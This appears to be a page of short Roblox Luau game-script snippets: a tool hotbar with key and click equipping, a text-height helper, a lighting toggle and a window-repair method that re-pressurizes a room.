Option.Assert(result)
return result
end
end
|
--< functions >--
|
function handleEquip(tool)
if tool then
if tool.Parent ~= char then
hum:EquipTool(tool)
else
hum:UnequipTools()
end
end
end
function create() -- creates all the icons at once (and will only run once)
local toShow = #inputOrder -- # operator can only be used with an array, not a dictionary
local totalX = (toShow*iconSize.X.Offset)+((toShow+1)*iconBorder.x)
local totalY = iconSize.Y.Offset + (2*iconBorder.y)
frame.Size = UDim2.new(0, totalX, 0, totalY)
frame.Position = UDim2.new(0.5, -(totalX/2), 1, -(totalY+(iconBorder.y*2)))
frame.Visible = true -- just in case!
for i = 1, #inputOrder do
local value = inputOrder[i]
local clone = template:Clone()
clone.Parent = frame
clone.Label.Text = value["txt"]
clone.Name = value["txt"]
clone.Visible = true
clone.Position = UDim2.new(0, (i-1)*(iconSize.X.Offset)+(iconBorder.x*i), 0, iconBorder.y)
clone.ImageTransparency = unequipped
local tool = value["tool"]
if tool then
clone.Tool.Image = tool.TextureId
end
clone.Tool.MouseButton1Down:Connect(function() -- click icon to equip/unequip
for key, value in pairs(inputKeys) do
if value["txt"] == clone.Name then
handleEquip(value["tool"])
end
end
end)
end
template:Destroy()
end
function setup() -- sets up all the tools already in the backpack (and will only run once)
local tools = bp:GetChildren()
for i = 1, #tools do
if tools[i]:IsA("Tool") then -- does not assume that all objects in the backpack will be a tool (2.11.18)
for i = 1, #inputOrder do
local value = inputOrder[i]
if not value["tool"] then -- if the tool slot is free...
value["tool"] = tools[i]
break -- stop searching for a free slot
end
end
end
end
create()
end
function adjust()
for key, value in pairs(inputKeys) do
local tool = value["tool"]
local icon = frame:FindFirstChild(value["txt"])
if tool then
icon.Tool.Image = tool.TextureId
if tool.Parent == char then -- if the tool is equipped...
icon.ImageTransparency = equipped
else
icon.ImageTransparency = unequipped
end
else
icon.Tool.Image = ""
icon.ImageTransparency = unequipped
end
end
end
function onKeyPress(inputObject) -- press keys to equip/unequip
local key = inputObject.KeyCode.Name
local value = inputKeys[key]
if value and uis:GetFocusedTextBox() == nil then -- don't equip/unequip while typing in text box
handleEquip(value["tool"])
end
end
function handleAddition(adding)
if adding:IsA("Tool") then
local new = true
for key, value in pairs(inputKeys) do
local tool = value["tool"]
if tool then
if tool == adding then
new = false
end
end
end
if new then
for i = 1, #inputOrder do
local tool = inputOrder[i]["tool"]
if not tool then -- if the tool slot is free...
inputOrder[i]["tool"] = adding
break
end
end
end
adjust()
end
end
function handleRemoval(removing)
if removing:IsA("Tool") then
if removing.Parent ~= char and removing.Parent ~= bp then
for i = 1, #inputOrder do
if inputOrder[i]["tool"] == removing then
inputOrder[i]["tool"] = nil
break
end
end
end
adjust()
end
end
|
-- NOTE: Any number greater than 2^30 will make TextService:GetTextSize give invalid results
|
local MAX_BOUND = 10000
local function getTextHeight(text, font, fontSize, widthCap)
local bounds = Vector2.new(widthCap, MAX_BOUND)
local textSize = GetTextSize(text, fontSize, font, bounds)
return textSize.Y
end
return getTextHeight
|
-- Função 1
|
for I,V in pairs(LightService:GetChildren()) do
if not V:IsA("Sky") and not V:IsA("Atmosphere") then
V.Enabled = true
end
end
|
--ticks
|
local equiptick
local shoottick
local delta
local frametick = tick()
|
--[[
Fixes the window, pressurizing the room if all windows are now fixed
]]
|
function Window:fix()
self._state = Constants.State.Window.Normal
local glass = self._model:FindFirstChild("Glass")
glass.CanCollide = true
glass.Material = Enum.Material.Glass
glass.Color = Color3.fromRGB(116, 161, 255)
glass.Transparency = 0.3
local room = self._associatedRoom
if room:allWindowsNormal() and room:isBreached() then
room:ventRoom()
end
DestroyMarker:FireAllClients(glass)
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.